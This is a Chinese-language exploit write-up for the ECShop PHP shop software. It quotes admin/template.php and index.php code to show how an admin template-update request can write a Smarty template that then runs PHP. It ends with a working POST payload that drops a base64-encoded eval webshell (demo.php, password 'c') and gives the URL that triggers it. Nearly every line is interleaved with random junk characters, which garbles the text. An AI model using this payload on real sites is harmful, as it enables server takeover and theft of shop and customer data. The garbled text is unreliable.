首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
: A( P3 [, e/ x, H' u9 z; m+ W% u6 ?3 J3 S
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
( u/ l% d4 E# O" N) A9 A7 y6 V但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
: o) I; e- t2 n* Z- ]$ {" O( gadmin/template.php5 _# f; R9 b4 I4 U9 Q2 Y; L
5 P; M9 ] n! r1 z+ N1 if ($_REQUEST['act'] == 'update_library') " g. n! N$ n- U d( E4 D
7 Y9 G1 p/ D( U2 4 w; O* K2 S9 X$ k7 i6 S( {
7 D6 a. x) {5 g( C! b
3 { 9 z1 t) `) v- k) C9 @
* m- t( {$ ~: {! a9 u4 R& J4 check_authz_json('library_manage'); & `( d; W i: e' X9 d
0 v% q& b, n& A) f5
% \: I4 \# L8 c7 Z4 f A
% j& t0 A/ Q9 ~1 W! S8 X% I# B6 $html = stripslashes(json_str_iconv($_POST['html'])); 7 s5 N- z2 |5 H1 q
. K9 i+ l, w; u8 a x+ G
7
. m5 n. L" `$ D+ z- k+ w+ u, Z5 f$ ]9 Y3 `+ u
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ; B. ?8 z8 l/ F
2 g4 N* J7 u0 E) U7 e9 + D! v+ O' H! D# Q k) `' v
& ^3 z& E2 b: R, F! E10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
X; q. i o& \0 p. J0 y
. e8 B m: p) |1 q2 E% N4 S11
8 m8 F" w. _0 q9 k$ }) e4 B- M- ~- w B
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 4 G, m9 \2 G% q A. k6 D& x1 A. a
/ |- v, Q, Q6 S9 I1 I6 @, T) e
13 * y* b' m6 L/ H% {
- R# m& K# G- g14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
' m2 l" M9 [ }
" n) k% t0 i% i15 { : y4 e5 ?% S) _( O- p3 l
! g7 j9 @1 S' i7 v% w
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 1 S0 C: N/ L& k% {
% y4 d) @! a$ G4 m5 ]+ L3 X3 W
17 make_json_result('', $_LANG['update_lib_success']); 7 b1 E9 I- r$ ~# H& D
4 g& ?7 q" Q5 \) F O/ F: c$ f18 } : s# o# @( {9 |' n& e& O* X
4 x8 w$ h( H! ^- w4 l19 else
' c {4 u6 k) \7 T+ i: ~* g3 l8 I5 O7 q: C
20 { 6 o3 E- `- z" b5 o6 m0 T
5 [- L( H2 R; R1 q# ?21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 3 h M+ m, T L& B
! @) O% D( d/ A1 r5 n+ J" ^
22 } & E4 ]+ ~* v" Y3 t/ U. j
5 M1 u5 `% s* }5 P/ @
23 }
$ ]7 u. V* V8 S
. Q5 @1 T6 j6 g3 u0 Z; @" `那么找个比较方便调用了模板的文件
3 @, }+ |6 N& P9 j+ E# ^$ Findex.php* Q+ ]1 k/ X6 |" Q
5 j5 D2 e, m Q1 if ($act == 'cat_rec')
. J7 J: Z: u2 U3 C& ?; L$ v/ a. {6 E" K( w' |: V& N2 w1 L
2
/ R* F/ t0 x% y4 b, j) X
" P/ U, }! `- `3 {
, ^6 j6 Y. k3 N, }5 |" y# u, r" h3 V1 u0 Q
4
0 T) c8 J' p- \* O f0 N* d L E- R/ M" F' l6 E
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
$ d9 b9 g4 u" _$ M# V5 J$ d3 C- J7 I9 Q5 l* z2 v* ]* d& k2 _( ~
6 $ z5 W; M$ \& S- ^; j+ l
4 |; G, f- Y8 r2 w
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- x1 c& S/ E/ d1 ^# N0 |
8 H( }' C( I4 u' Z U$ c8 . {( e- M3 j9 O9 K
V# m) b" y& D8 o6 N9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 3 t" |/ q" g( t2 j
* s) d' {. S6 e' m$ Z" O3 u
10
. S/ @8 T$ ^+ ?: W# t+ E/ L' c0 g$ V2 L2 T& ~) ?# y& l6 G/ q
11 include_once('includes/cls_json.php'); 7 ~* M& N s+ k) l, y0 k% I
/ n$ {9 N! o1 ?1 |
12 * u( q$ [- b. _6 g, n7 g
2 P, h2 @8 ~2 J1 J( e O2 r( _9 P13 $json = new JSON;
; B- e3 Y! h0 w! X' \ |1 t0 b; w
T+ u6 m# K6 a$ _14 # K$ x9 o, r7 P9 h/ `. h, ^- N
6 {/ S0 j! y4 ]& S' s
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); % {/ x, b" w9 V( Q# b
/ k. b+ h& G5 \. I# ~0 R! {7 W16
2 q0 E/ T/ v1 q- r" S0 T- Q* g( c3 z
17 $children = get_children($cat_id); . T6 l: x0 D; I
$ j D. K8 u, h- P) F
18
$ ^' A M% E9 K! D4 j4 c/ A: l% e9 B9 j( w2 U
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
( T: B( R8 a. \: C7 m; a, t5 A& Y5 t. E0 {) w+ O7 e" l
20 ; y* A& l6 d& d, o" o/ U* e/ I
% |1 u# L! K2 y. i, _
21 $smarty->assign('cat_rec_sign', 1);
: S+ u2 I. X0 h, d
8 L0 f% y& D; u' _' p7 q/ ?5 }' t22
% {2 H5 v% s' w# t3 f& P2 x/ L `" q5 {1 W* G5 R
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
9 q; V- c( {0 ?, b* s, J
* L# I5 x& G B5 G24 : _% _" L6 x% M4 a1 @
: l/ ~3 [9 c) b- E6 d3 M8 L6 u, m
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; + @ P# K, \* O# d; d4 h" |
. \% O7 k! m, Q+ H2 L2 ^
26 6 Q2 _' [% x+ U, j
$ K: q( P6 D b# J- u- N- _4 [% ~" W27 echo $rec_array[$rec_type];
$ G# H( z6 c @( _! [) N* b5 Y- U, Z/ ~, w! `, @. s# C2 D
28
9 B% Y/ D6 v" {! w) D
* h5 l( ] A5 W29 die($json->encode($result));
5 k( u2 Z* _2 w1 L/ W0 Q& Q5 R; i U5 d, s' X7 M1 s( F
30
- f5 _# V2 |3 O7 ~
, \! B- G2 A ^7 v$ ]8 h& K- r+ c6 Z31 } 5 z( r5 J: k0 E( k
. X; E- F# W( L! d& c4 [7 w那么就有利用方法了
" t; |/ R; S+ P- U# [ f% q% l5 f& O) Qpost包到http://localhost/ec/admin/template.php?act=update_library
4 _, B# R% K; h' PPost内容:
6 x2 n. G2 o# X- _- U- x: L7 m
: ~1 W7 K' B ?4 X* g# O9 S" v6 Z) O F5 i
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 6 H& x/ i Z9 D4 e# Q
4 F% c2 |6 [; E% ` X
然后访问http://localhost/ec/index.php?act=cat_rec
% f" |; Y9 {) w/ N. C; Y" F2 t/ ?- s/ E- m/ w. p9 Z. C% _
shel地址:http://localhost/ec/demo.php
& E, y) W% U L: V密码c
5 N p9 e- o% q" f3 u( M9 M1 m+ D1 A% @
|